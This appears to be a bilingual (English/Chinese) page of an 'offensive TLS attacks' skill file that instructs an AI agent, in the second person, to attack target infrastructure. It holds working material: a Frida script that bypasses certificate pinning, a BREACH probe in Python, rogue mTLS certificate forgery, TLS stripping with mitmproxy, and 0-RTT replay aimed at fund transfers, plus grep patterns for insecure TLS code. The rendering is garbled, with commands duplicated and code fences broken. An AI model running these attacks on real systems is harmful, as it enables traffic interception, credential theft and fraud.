offensive-tls-attacks

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

TLS/SSL Attacks and Misconfiguration Exploitation

TLS/SSL 攻击与错误配置利用

You are performing offensive TLS/SSL analysis against target infrastructure. This skill covers the full attack surface of transport layer security -- from protocol-level cryptographic weaknesses to implementation bugs, certificate validation failures, and deployment misconfigurations. You treat every TLS handshake as an opportunity for enumeration and every certificate chain as a trust boundary to probe.
你正在对目标基础设施执行攻击性 TLS/SSL 分析。本 skill 覆盖传输层安全的完整攻击面——从协议级加密弱点到实现缺陷、证书验证失败和部署错误配置。你将每次 TLS 握手视为枚举机会,并将每条证书链视为需要探测的信任边界。

Quick Workflow

快速工作流

  1. Enumerate the target's TLS configuration -- supported protocols, cipher suites, certificate chain, extensions.
  2. Identify deprecated protocols (SSLv2, SSLv3, TLS 1.0, TLS 1.1) and weak cipher suites (export, NULL, RC4, DES, 3DES).
  3. Check for known protocol vulnerabilities -- POODLE, DROWN, FREAK, BEAST, Heartbleed.
  4. Test compression oracle exposure -- CRIME at the TLS layer, BREACH at the HTTP layer.
  5. Validate certificate handling -- chain verification, hostname matching, pinning enforcement, revocation checking.
  6. Assess TLS 1.3 features -- 0-RTT replay, downgrade sentinel presence, supported groups.
  7. For mobile targets, bypass certificate pinning and intercept traffic.
  8. Document findings with protocol evidence and remediation priorities.

  1. 枚举目标的 TLS 配置——支持的协议、cipher suite、证书链和扩展。
  2. 识别已弃用的协议(SSLv2、SSLv3、TLS 1.0、TLS 1.1)和弱 cipher suite(export、NULL、RC4、DES、3DES)。
  3. 检查已知协议漏洞——POODLE、DROWN、FREAK、BEAST、Heartbleed。
  4. 测试压缩 oracle 暴露情况——TLS 层的 CRIME 和 HTTP 层的 BREACH。
  5. 验证证书处理——证书链验证、主机名匹配、pinning 执行和吊销检查。
  6. 评估 TLS 1.3 特性——0-RTT 重放、downgrade sentinel 是否存在以及支持的 group。
  7. 对于移动目标,绕过证书 pinning 并拦截流量。
  8. 记录发现,包括协议证据和修复优先级。

TLS Enumeration and Scanning

TLS 枚举与扫描

Begin every TLS engagement with comprehensive enumeration. Use testssl.sh as the primary tool -- it requires no dependencies beyond bash and OpenSSL and produces detailed output covering protocols, ciphers, vulnerabilities, and certificate details.
bash
undefined
每次 TLS 评估都应从全面枚举开始。使用 testssl.sh 作为主要工具——它除 bash 和 OpenSSL 外不需要任何依赖,并可生成详细输出,涵盖协议、cipher、漏洞和证书详情。
bash
undefined

Full scan with all checks, output to JSON and HTML

Full scan with all checks, output to JSON and HTML

testssl.sh --jsonfile results.json --htmlfile results.html
--ip one --sneaky --warnings batch
target.com:443
testssl.sh --jsonfile results.json --htmlfile results.html
--ip one --sneaky --warnings batch
target.com:443

Quick protocol and cipher check

Quick protocol and cipher check

testssl.sh --protocols --ciphers target.com:443
testssl.sh --protocols --ciphers target.com:443

Check only for specific vulnerabilities

Check only for specific vulnerabilities

testssl.sh --heartbleed --ccs-injection --ticketbleed
--robot --poodle --beast --crime --breach --drown --freak
--logjam --sweet32 target.com:443
testssl.sh --heartbleed --ccs-injection --ticketbleed
--robot --poodle --beast --crime --breach --drown --freak
--logjam --sweet32 target.com:443

Scan multiple targets from a file

Scan multiple targets from a file

testssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json

Use sslyze for Python-integrated scanning and CI/CD pipeline integration:

```bash
testssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json

使用 sslyze 进行与 Python 集成扫描并接入 CI/CD pipeline:

```bash

Standard scan with all plugins

Standard scan with all plugins

sslyze --regular target.com
sslyze --regular target.com

JSON output for programmatic processing

JSON output for programmatic processing

sslyze --json_out results.json target.com
sslyze --json_out results.json target.com

Check specific vulnerability classes

Check specific vulnerability classes

sslyze --heartbleed --openssl_ccs --robot target.com
sslyze --heartbleed --openssl_ccs --robot target.com

Scan with client certificate authentication

Scan with client certificate authentication

sslyze --cert /path/to/client.pem --key /path/to/client.key target.com

Use sslscan for rapid cipher enumeration and tlsx for high-speed probing at scale:

```bash
sslyze --cert /path/to/client.pem --key /path/to/client.key target.com

使用 sslscan 快速枚举 cipher,并使用 tlsx 对大量主机进行高速探测:

```bash

sslscan quick enumeration

sslscan quick enumeration

sslscan --no-fallback target.com:443
sslscan --no-fallback target.com:443

tlsx high-speed probing across many hosts

tlsx high-speed probing across many hosts

cat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json
cat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json

tlsx specific checks

tlsx specific checks

cat hosts.txt | tlsx -san -cn -so -json # Extract SANs, CNs, server orgs cat hosts.txt | tlsx -tls-version tls10 # Find hosts still accepting TLS 1.0 cat hosts.txt | tlsx -expired -self-signed -mismatched # Certificate issues

---
cat hosts.txt | tlsx -san -cn -so -json # Extract SANs, CNs, server orgs cat hosts.txt | tlsx -tls-version tls10 # Find hosts still accepting TLS 1.0 cat hosts.txt | tlsx -expired -self-signed -mismatched # Certificate issues

---

Protocol Downgrade Attacks

协议降级攻击

Protocol downgrade attacks force a TLS connection to negotiate a weaker protocol version that has known vulnerabilities. These attacks exploit the backward-compatible fallback mechanisms built into TLS.
POODLE (CVE-2014-3566) exploits the non-deterministic padding in SSLv3 CBC mode. Unlike TLS, SSLv3 does not specify the padding byte values, and the receiver does not verify them -- only the padding length byte matters. This allows an active attacker to decrypt one byte of plaintext per 256 requests on average.
bash
undefined
协议降级攻击会强制 TLS 连接协商存在已知漏洞的较弱协议版本。这些攻击利用 TLS 内置的向后兼容回退机制。
POODLE(CVE-2014-3566) 利用 SSLv3 CBC 模式中的非确定性填充。与 TLS 不同,SSLv3 未规定填充字节的具体值,接收方也不会验证这些值——只有填充长度字节起作用。这使主动攻击者平均每发起 256 个请求即可解密一个明文字节。
bash
undefined

Check if the target supports SSLv3

Check if the target supports SSLv3

testssl.sh --poodle target.com:443 openssl s_client -ssl3 -connect target.com:443
testssl.sh --poodle target.com:443 openssl s_client -ssl3 -connect target.com:443

TLS POODLE variant: check for CBC padding oracle in TLS implementations

TLS POODLE variant: check for CBC padding oracle in TLS implementations

testssl.sh --poodle target.com:443
testssl.sh --poodle target.com:443

Look for "POODLE, TLS" in output -- indicates vulnerable TLS implementation

Look for "POODLE, TLS" in output -- indicates vulnerable TLS implementation


**DROWN (CVE-2016-0800)** is a cross-protocol attack. If a server (or any server sharing the same RSA key) supports SSLv2, an attacker can decrypt passively captured TLS sessions. The attack adapts Bleichenbacher's RSA padding oracle using SSLv2 export cipher handshakes.

```bash

**DROWN(CVE-2016-0800)** 是一种跨协议攻击。如果服务器(或任何共享同一 RSA 密钥的服务器)支持 SSLv2,攻击者便可解密被动捕获的 TLS 会话。该攻击利用 SSLv2 export cipher 握手改造 Bleichenbacher 的 RSA padding oracle。

```bash

Check for SSLv2 support (direct DROWN)

Check for SSLv2 support (direct DROWN)

testssl.sh --drown target.com:443
testssl.sh --drown target.com:443

Check with OpenSSL (requires a build with SSLv2 enabled)

Check with OpenSSL (requires a build with SSLv2 enabled)

openssl s_client -ssl2 -connect target.com:443
openssl s_client -ssl2 -connect target.com:443

General DROWN also applies when another server shares the same RSA key

General DROWN also applies when another server shares the same RSA key

Extract the certificate and search for key reuse across infrastructure

Extract the certificate and search for key reuse across infrastructure

openssl s_client -connect target.com:443 </dev/null 2>/dev/null |
openssl x509 -noout -modulus | md5sum
openssl s_client -connect target.com:443 </dev/null 2>/dev/null |
openssl x509 -noout -modulus | md5sum

Compare this modulus hash across all servers in scope

Compare this modulus hash across all servers in scope


**FREAK (CVE-2015-0204)** forces a downgrade to RSA_EXPORT cipher suites with 512-bit RSA keys, which are factorable in hours on commodity hardware:

```bash

**FREAK(CVE-2015-0204)** 会强制降级到使用 512 位 RSA 密钥的 RSA_EXPORT cipher suite,这类密钥在商用硬件上数小时内即可完成因式分解:

```bash

Check for export cipher support

Check for export cipher support

testssl.sh --freak target.com:443 sslyze --openssl_ccs target.com
testssl.sh --freak target.com:443 sslyze --openssl_ccs target.com

Enumerate export ciphers directly

Enumerate export ciphers directly

openssl s_client -cipher EXPORT -connect target.com:443 nmap --script ssl-enum-ciphers -p 443 target.com | grep -i export

---
openssl s_client -cipher EXPORT -connect target.com:443 nmap --script ssl-enum-ciphers -p 443 target.com | grep -i export

---

BEAST Attack

BEAST 攻击

BEAST (CVE-2011-3389) exploits the predictable IV in TLS 1.0 CBC mode. In TLS 1.0, the IV for each record is the last ciphertext block of the previous record, making it known to an attacker who can observe the ciphertext. Combined with a chosen-plaintext capability (via JavaScript in a browser), this enables blockwise decryption of targeted bytes.
bash
undefined
BEAST(CVE-2011-3389)利用 TLS 1.0 CBC 模式中可预测的 IV。在 TLS 1.0 中,每条记录的 IV 是上一条记录的最后一个密文块,因此可观察密文的攻击者能够获知该值。结合选择明文能力(通常通过浏览器中的 JavaScript 实现),即可逐块解密目标字节。
bash
undefined

Check for BEAST vulnerability

Check for BEAST vulnerability

testssl.sh --beast target.com:443
testssl.sh --beast target.com:443

Verify TLS 1.0 with CBC ciphers is available

Verify TLS 1.0 with CBC ciphers is available

openssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443

BEAST requires the attacker to inject chosen plaintext into the same TLS connection (typically via JavaScript in adjacent browser contexts). Modern mitigations include 1/n-1 record splitting (implemented in all current browsers) and upgrading to TLS 1.2+ where explicit IVs are used.

Confirm the condition: if `openssl s_client -tls1 -cipher 'ALL:!eNULL'` negotiates any CBC cipher, the connection is BEAST-eligible. Cross-reference the server's JA3S fingerprint to verify TLS 1.0 negotiation.

---
openssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443

BEAST 要求攻击者将选择明文注入同一条 TLS 连接,通常通过相邻浏览器上下文中的 JavaScript 完成。现代缓解措施包括 1/n-1 record splitting(所有当前浏览器均已实现),以及升级到使用显式 IV 的 TLS 1.2+。

确认触发条件:如果 `openssl s_client -tls1 -cipher 'ALL:!eNULL'` 协商出任何 CBC cipher,则该连接符合 BEAST 的触发条件。将服务器的 JA3S 指纹进行交叉核对,以验证 TLS 1.0 协商。

---

CRIME and BREACH

CRIME 与 BREACH

CRIME (CVE-2012-4929) exploits TLS-level compression. When TLS compression is enabled, an attacker who can inject chosen plaintext into a request and observe the compressed ciphertext length can recover secret values (such as session cookies) one byte at a time.
bash
undefined
CRIME(CVE-2012-4929) 利用 TLS 层压缩。启用 TLS 压缩后,能够向请求注入选择明文并观察压缩后密文长度的攻击者,可以逐字节恢复会话 cookie 等机密值。
bash
undefined

Check for TLS compression

Check for TLS compression

testssl.sh --crime target.com:443 openssl s_client -connect target.com:443 | grep -i compression
testssl.sh --crime target.com:443 openssl s_client -connect target.com:443 | grep -i compression

"Compression: NONE" means not vulnerable to CRIME

"Compression: NONE" means not vulnerable to CRIME


**BREACH** exploits HTTP-level compression (gzip/deflate) and is far more prevalent than CRIME because HTTP compression is almost universally enabled. The attack recovers secrets that appear in HTTP response bodies alongside attacker-reflected input.

```bash

**BREACH** 利用 HTTP 层压缩(gzip/deflate),且远比 CRIME 普遍,因为 HTTP 压缩几乎普遍启用。该攻击可恢复 HTTP 响应正文中与攻击者反射输入同时出现的机密值。

```bash

Check for BREACH preconditions

Check for BREACH preconditions

testssl.sh --breach target.com:443
testssl.sh --breach target.com:443

Manual check: verify HTTP compression is enabled

Manual check: verify HTTP compression is enabled

curl -sI -H "Accept-Encoding: gzip, deflate" https://target.com/ |
grep -i content-encoding
curl -sI -H "Accept-Encoding: gzip, deflate" https://target.com/ |
grep -i content-encoding

"Content-Encoding: gzip" combined with reflected input + secrets in body = vulnerable

"Content-Encoding: gzip" combined with reflected input + secrets in body = vulnerable


```python
import requests
import string

def breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):
    """
    BREACH oracle: measure compressed response length to recover secrets.
    Requires: HTTP compression enabled, secret in response body,
    attacker can inject chosen text that is reflected in the same response.
    """
    results = {}
    for c in charset:
        candidate = known_prefix + c
        # Inject candidate via a reflected parameter
        resp = requests.get(url, params={"search": candidate},
                          headers={"Accept-Encoding": "gzip"})
        # The response object's content is decompressed; use raw socket
        # or measure the actual wire bytes for a real attack.
        # Here we demonstrate the concept:
        results[c] = len(resp.content)

    # The correct byte compresses better (shorter response)
    best = min(results, key=results.get)
    return known_prefix + best

```python
import requests
import string

def breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):
    """
    BREACH oracle: measure compressed response length to recover secrets.
    Requires: HTTP compression enabled, secret in response body,
    attacker can inject chosen text that is reflected in the same response.
    """
    results = {}
    for c in charset:
        candidate = known_prefix + c
        # Inject candidate via a reflected parameter
        resp = requests.get(url, params={"search": candidate},
                          headers={"Accept-Encoding": "gzip"})
        # The response object's content is decompressed; use raw socket
        # or measure the actual wire bytes for a real attack.
        # Here we demonstrate the concept:
        results[c] = len(resp.content)

    # The correct byte compresses better (shorter response)
    best = min(results, key=results.get)
    return known_prefix + best

BREACH mitigations: disable HTTP compression for pages containing secrets,

BREACH mitigations: disable HTTP compression for pages containing secrets,

add random padding to responses, use per-request CSRF tokens,

add random padding to responses, use per-request CSRF tokens,

separate secret-bearing responses from reflected-input responses

separate secret-bearing responses from reflected-input responses


---

---

Heartbleed (CVE-2014-0160)

Heartbleed(CVE-2014-0160)

Heartbleed is a buffer over-read in OpenSSL's TLS heartbeat extension (OpenSSL 1.0.1 through 1.0.1f). A malformed heartbeat request causes the server to return up to 64KB of process memory per request, potentially exposing private keys, session cookies, credentials, and other sensitive data.
bash
undefined
Heartbleed 是 OpenSSL TLS heartbeat 扩展中的越界读取(OpenSSL 1.0.1 至 1.0.1f)。格式错误的心跳请求会使服务器每次返回最多 64KB 进程内存,可能暴露私钥、session cookie、凭据和其他敏感数据。
bash
undefined

Test for Heartbleed

Test for Heartbleed

testssl.sh --heartbleed target.com:443 sslyze --heartbleed target.com
testssl.sh --heartbleed target.com:443 sslyze --heartbleed target.com

Nmap script

Nmap script

nmap -p 443 --script ssl-heartbleed target.com
nmap -p 443 --script ssl-heartbleed target.com

Manual test with OpenSSL

Manual test with OpenSSL

This requires a version of OpenSSL that supports the heartbeat extension

This requires a version of OpenSSL that supports the heartbeat extension

openssl s_client -connect target.com:443 -tlsextdebug 2>&1 |
grep -i heartbeat

The attack sends a TLS heartbeat request declaring a large payload length (up to 16384 bytes) but including only a single byte of actual payload. Vulnerable OpenSSL versions return the declared length from process memory. Each request leaks up to 64KB; repeated requests may expose private keys, session tokens, and credentials from different memory regions. Use the Nmap script or testssl.sh for reliable detection; for manual exploitation, existing PoC scripts (heartbleed.py variants) handle the raw TLS handshake and heartbeat framing.

---
openssl s_client -connect target.com:443 -tlsextdebug 2>&1 |
grep -i heartbeat

该攻击发送一个声明较大 payload length(最多 16384 字节)但仅包含一个实际 payload 字节的 TLS heartbeat 请求。存在漏洞的 OpenSSL 版本会从进程内存返回所声明长度的数据。每次请求最多泄露 64KB;重复请求可能暴露来自不同内存区域的私钥、session token 和凭据。应使用 Nmap 脚本或 testssl.sh 进行可靠检测;如需手动利用,现有 PoC 脚本(heartbleed.py 的各变体)可处理原始 TLS 握手和 heartbeat 帧格式。

---

Certificate Validation Bypass

证书验证绕过

Applications that fail to properly validate TLS certificates create interception opportunities. Common flaws include disabled verification, missing hostname checks, accepting self-signed certificates, and incomplete chain validation.
python
undefined
未能正确验证 TLS 证书的应用会制造拦截机会。常见缺陷包括禁用验证、缺少主机名检查、接受自签名证书,以及不完整的证书链验证。
python
undefined

Detect applications with disabled certificate verification

Detect applications with disabled certificate verification

These patterns indicate vulnerable implementations:

These patterns indicate vulnerable implementations:

Python requests - disabled verification

Python requests - disabled verification

requests.get(url, verify=False)

requests.get(url, verify=False)

Python urllib3 - disabled warnings indicate suppressed verification

Python urllib3 - disabled warnings indicate suppressed verification

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

Node.js - disabled TLS rejection

Node.js - disabled TLS rejection

process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"

process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0"

Java - TrustAllCerts pattern

Java - TrustAllCerts pattern

TrustManager[] trustAllCerts = new TrustManager[] {

TrustManager[] trustAllCerts = new TrustManager[] {

new X509TrustManager() {

new X509TrustManager() {

public void checkClientTrusted(...) {}

public void checkClientTrusted(...) {}

public void checkServerTrusted(...) {}

public void checkServerTrusted(...) {}

}

}

};

};

cURL - insecure flag

cURL - insecure flag

curl -k / curl --insecure

curl -k / curl --insecure


Search for these patterns in source code and configuration files during assessments:

```bash

评估期间,应在源代码和配置文件中搜索以下模式:

```bash

Search for disabled certificate verification in codebases

Search for disabled certificate verification in codebases

grep -rn "verify=False" --include=".py" . grep -rn "CERT_NONE" --include=".py" . grep -rn "NODE_TLS_REJECT_UNAUTHORIZED" --include=".js" . grep -rn "InsecureTrustManagerFactory" --include=".java" . grep -rn "TrustAllCerts|trustAllCerts|ALLOW_ALL" --include=".java" . grep -rn "AllowAllHostnameVerifier|NoopHostnameVerifier" --include=".java" . grep -rn "ServerCertificateValidationCallback" --include="*.cs" . grep -rn "InsecureSkipVerify.true" --include=".go" .

---
grep -rn "verify=False" --include=".py" . grep -rn "CERT_NONE" --include=".py" . grep -rn "NODE_TLS_REJECT_UNAUTHORIZED" --include=".js" . grep -rn "InsecureTrustManagerFactory" --include=".java" . grep -rn "TrustAllCerts|trustAllCerts|ALLOW_ALL" --include=".java" . grep -rn "AllowAllHostnameVerifier|NoopHostnameVerifier" --include=".java" . grep -rn "ServerCertificateValidationCallback" --include="*.cs" . grep -rn "InsecureSkipVerify.true" --include=".go" .

---

Certificate Pinning Bypass

证书 Pinning 绕过

Mobile applications that implement certificate pinning require active bypass techniques for traffic interception. Use Frida and Objection for runtime instrumentation.
bash
undefined
实现证书 pinning 的移动应用需要使用主动绕过技术才能拦截流量。使用 Frida 和 Objection 进行运行时插桩。
bash
undefined

Objection: automated pinning bypass for Android and iOS

Objection: automated pinning bypass for Android and iOS

Launch the target application with Objection

Launch the target application with Objection

objection -g com.target.app explore
objection -g com.target.app explore

Inside the Objection REPL:

Inside the Objection REPL:

Disable SSL pinning (covers common pinning libraries)

Disable SSL pinning (covers common pinning libraries)

android sslpinning disable
android sslpinning disable

or for iOS:

or for iOS:

ios sslpinning disable

```bash
ios sslpinning disable

```bash

Frida: custom pinning bypass scripts

Frida: custom pinning bypass scripts

Android: bypass OkHttp CertificatePinner

Android: bypass OkHttp CertificatePinner

frida -U -f com.target.app -l bypass_pinning.js --no-pause
frida -U -f com.target.app -l bypass_pinning.js --no-pause

Universal Android SSL pinning bypass with Frida

Universal Android SSL pinning bypass with Frida

frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida

```javascript
// bypass_pinning.js - Frida script for Android SSL pinning bypass
// Covers OkHttp, TrustManager, WebView, and common pinning libraries

Java.perform(function() {
    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List')
            .implementation = function(hostname, peerCertificates) {
            console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);
            return;
        };
    } catch (e) {
        console.log('[-] OkHttp3 not found');
    }

    // Bypass custom TrustManager
    try {
        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
        var SSLContext = Java.use('javax.net.ssl.SSLContext');

        var TrustManager = Java.registerClass({
            name: 'com.bypass.TrustManager',
            implements: [X509TrustManager],
            methods: {
                checkClientTrusted: function(chain, authType) {},
                checkServerTrusted: function(chain, authType) {},
                getAcceptedIssuers: function() { return []; }
            }
        });

        var TrustManagers = [TrustManager.$new()];
        var sslContext = SSLContext.getInstance('TLS');
        sslContext.init(null, TrustManagers, null);
        console.log('[+] Custom TrustManager installed');
    } catch (e) {
        console.log('[-] TrustManager bypass failed: ' + e);
    }

    // Bypass Android WebView SSL errors
    try {
        var WebViewClient = Java.use('android.webkit.WebViewClient');
        WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
            console.log('[+] WebView SSL error bypassed');
            handler.proceed();
        };
    } catch (e) {
        console.log('[-] WebViewClient bypass not applicable');
    }
});
bash
undefined
frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida

```javascript
// bypass_pinning.js - Frida script for Android SSL pinning bypass
// Covers OkHttp, TrustManager, WebView, and common pinning libraries

Java.perform(function() {
    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List')
            .implementation = function(hostname, peerCertificates) {
            console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);
            return;
        };
    } catch (e) {
        console.log('[-] OkHttp3 not found');
    }

    // Bypass custom TrustManager
    try {
        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
        var SSLContext = Java.use('javax.net.ssl.SSLContext');

        var TrustManager = Java.registerClass({
            name: 'com.bypass.TrustManager',
            implements: [X509TrustManager],
            methods: {
                checkClientTrusted: function(chain, authType) {},
                checkServerTrusted: function(chain, authType) {},
                getAcceptedIssuers: function() { return []; }
            }
        });

        var TrustManagers = [TrustManager.$new()];
        var sslContext = SSLContext.getInstance('TLS');
        sslContext.init(null, TrustManagers, null);
        console.log('[+] Custom TrustManager installed');
    } catch (e) {
        console.log('[-] TrustManager bypass failed: ' + e);
    }

    // Bypass Android WebView SSL errors
    try {
        var WebViewClient = Java.use('android.webkit.WebViewClient');
        WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
            console.log('[+] WebView SSL error bypassed');
            handler.proceed();
        };
    } catch (e) {
        console.log('[-] WebViewClient bypass not applicable');
    }
});
bash
undefined

For rooted Android devices: install a system CA certificate

For rooted Android devices: install a system CA certificate

Convert your proxy CA to Android format

Convert your proxy CA to Android format

openssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1
openssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1

Rename to <hash>.0

Rename to <hash>.0

cp proxy_ca.pem 9a5ba575.0 adb push 9a5ba575.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0

---
cp proxy_ca.pem 9a5ba575.0 adb push 9a5ba575.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0

---

HSTS Bypass and TLS Stripping

HSTS 绕过与 TLS 剥离

HSTS prevents downgrade from HTTPS to HTTP, but it has inherent bootstrap and scope weaknesses.
bash
undefined
HSTS 可防止从 HTTPS 降级到 HTTP,但其固有地存在 bootstrap 和作用域弱点。
bash
undefined

Check HSTS configuration

Check HSTS configuration

curl -sI https://target.com | grep -i strict-transport-security
curl -sI https://target.com | grep -i strict-transport-security

Verify HSTS preload status

Verify HSTS preload status

sslstrip2 (Leonardo Nve's HSTS bypass) works by:

sslstrip2 (Leonardo Nve's HSTS bypass) works by:

1. Stripping HTTPS links on first visit (before HSTS is cached)

1. Stripping HTTPS links on first visit (before HSTS is cached)

2. Replacing domains with similar subdomains not covered by HSTS

2. Replacing domains with similar subdomains not covered by HSTS

3. Proxying the real HTTPS connection on the attacker side

3. Proxying the real HTTPS connection on the attacker side

mitmproxy with sslstrip mode

mitmproxy with sslstrip mode

mitmproxy --mode transparent --ssl-insecure --set block_global=false

HSTS bypass vectors:
- **First visit**: HSTS is trust-on-first-use. If the user has never visited the site and the site is not on the preload list, the initial HTTP request can be intercepted.
- **Subdomain scope**: `includeSubDomains` is often missing. Attack via `http://sub.target.com` even if `target.com` has HSTS.
- **NTP manipulation**: HSTS entries expire. If you can manipulate the client's clock (via NTP spoofing on the local network), cached HSTS policies can be aged out.
- **Private browsing**: Some browsers do not persist HSTS across private browsing sessions.

---
mitmproxy --mode transparent --ssl-insecure --set block_global=false

HSTS 绕过向量:
- **首次访问**:HSTS 采用 trust-on-first-use。如果用户从未访问过该站点,且该站点不在 preload 列表中,则首次 HTTP 请求可能被拦截。
- **子域名作用域**:通常缺少 `includeSubDomains`。即使 `target.com` 已启用 HSTS,也可通过 `http://sub.target.com` 发起攻击。
- **NTP 操纵**:HSTS 条目会过期。如果能通过本地网络上的 NTP 欺骗操纵客户端时钟,缓存的 HSTS 策略可能会过期失效。
- **隐私浏览**:部分浏览器不会在隐私浏览会话之间持久保存 HSTS。

---

TLS 1.3 -- 0-RTT Replay

TLS 1.3——0-RTT 重放

TLS 1.3 eliminates most legacy attacks but introduces 0-RTT (Early Data) which is explicitly not replay-protected. Servers that accept 0-RTT data for non-idempotent operations are vulnerable to replay attacks.
bash
undefined
TLS 1.3 消除了大多数旧式攻击,但引入了明确不具备重放保护的 0-RTT(Early Data)。服务器若针对非幂等操作接受 0-RTT 数据,则易受重放攻击。
bash
undefined

Check if the server accepts 0-RTT early data

Check if the server accepts 0-RTT early data

openssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem openssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem
-early_data request.txt
openssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem openssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem
-early_data request.txt

testssl.sh checks for 0-RTT

testssl.sh checks for 0-RTT

testssl.sh --grease target.com:443

The two-step openssl test above is definitive: if the second connection succeeds and the server processes the early data file, 0-RTT is accepted. A network attacker who captures the ClientHello and early data from a legitimate connection can replay it verbatim. Target non-idempotent endpoints -- fund transfers, account modifications, order submissions -- where replay has material impact. Servers should implement anti-replay per RFC 8446 Section 8 or reject 0-RTT entirely for state-changing operations.

---
testssl.sh --grease target.com:443

上述两步 openssl 测试具有确定性:如果第二次连接成功且服务器处理了 early data 文件,则表示接受 0-RTT。捕获合法连接 ClientHello 和 early data 的网络攻击者可以原样重放。应针对资金转账、账户修改、订单提交等重放影响重大的非幂等端点。服务器应按照 RFC 8446 Section 8 实现防重放机制,或完全拒绝在状态变更操作中使用 0-RTT。

---

mTLS Attacks

mTLS 攻击

Mutual TLS authentication presents additional attack surfaces around client certificate handling.
bash
undefined
双向 TLS 认证在客户端证书处理方面引入了额外攻击面。
bash
undefined

Enumerate mTLS requirements

Enumerate mTLS requirements

openssl s_client -connect target.com:443 2>&1 | grep -A5 "Acceptable client"
openssl s_client -connect target.com:443 2>&1 | grep -A5 "Acceptable client"

Test with a stolen or self-signed client certificate

Test with a stolen or self-signed client certificate

openssl s_client -connect target.com:443
-cert client.pem -key client.key -CAfile ca.pem
openssl s_client -connect target.com:443
-cert client.pem -key client.key -CAfile ca.pem

Generate a rogue client certificate matching the expected CN/OU

Generate a rogue client certificate matching the expected CN/OU

openssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem
-days 365 -nodes
-subj "/CN=legitimate-service/O=Target Corp/OU=Engineering"
openssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem
-days 365 -nodes
-subj "/CN=legitimate-service/O=Target Corp/OU=Engineering"

Check if the server validates the issuing CA or just the certificate fields

Check if the server validates the issuing CA or just the certificate fields

openssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key

Attack vectors against mTLS:
- **Missing CA validation**: Server accepts any client certificate regardless of issuer.
- **Overly broad CA trust**: Server trusts a CA that also issues certificates to unrelated parties.
- **Client certificate theft**: Extract client certificates from keystores, environment variables, CI/CD pipelines, or container images.
- **Certificate relay**: Forward client certificate challenges to a legitimate client and relay responses.

---
openssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key

针对 mTLS 的攻击向量:
- **缺少 CA 验证**:服务器接受任何客户端证书,无论签发者是谁。
- **CA 信任范围过宽**:服务器信任某个同时向无关方签发证书的 CA。
- **客户端证书窃取**:从 keystore、环境变量、CI/CD pipeline 或容器镜像中提取客户端证书。
- **证书中继**:将客户端证书质询转发给合法客户端,并中继其响应。

---

Certificate Transparency Monitoring

Certificate Transparency 监控

CT logs are a reconnaissance goldmine. Every publicly trusted certificate is logged, revealing subdomains, internal hostnames, and infrastructure changes.
bash
undefined
CT 日志是侦察的宝库。每个公开受信任的证书都会被记录,从而暴露子域名、内部主机名和基础设施变更。
bash
undefined

Query CT logs via crt.sh

Query CT logs via crt.sh

curl -s "https://crt.sh/?q=%25.target.com&output=json" |
python3 -c " import json, sys data = json.load(sys.stdin) domains = set() for entry in data: name = entry.get('name_value', '') for d in name.split('\n'): domains.add(d.strip()) for d in sorted(domains): print(d) "
curl -s "https://crt.sh/?q=%25.target.com&output=json" |
python3 -c " import json, sys data = json.load(sys.stdin) domains = set() for entry in data: name = entry.get('name_value', '') for d in name.split('\n'): domains.add(d.strip()) for d in sorted(domains): print(d) "

Monitor for new certificates in real-time

Monitor for new certificates in real-time

Use certstream for live CT log monitoring

Use certstream for live CT log monitoring

pip install certstream
pip install certstream

certstream_monitor.py

certstream_monitor.py

python3 -c " import certstream
def callback(message, context): if message['message_type'] == 'certificate_update': all_domains = message['data']['leaf_cert']['all_domains'] for domain in all_domains: if 'target.com' in domain: print(f'New cert: {domain}')
certstream.listen_for_events(callback, url='wss://certstream.calidog.io/') "

```bash
python3 -c " import certstream
def callback(message, context): if message['message_type'] == 'certificate_update': all_domains = message['data']['leaf_cert']['all_domains'] for domain in all_domains: if 'target.com' in domain: print(f'New cert: {domain}')
certstream.listen_for_events(callback, url='wss://certstream.calidog.io/') "

```bash

Enumerate subdomains from CT logs using subfinder or amass

Enumerate subdomains from CT logs using subfinder or amass

subfinder -d target.com -sources crtsh amass enum -d target.com -src -ip

---
subfinder -d target.com -sources crtsh amass enum -d target.com -src -ip

---

Detection / Defender View

检测/防御方视角

Defenders should monitor for the following indicators of TLS attacks:
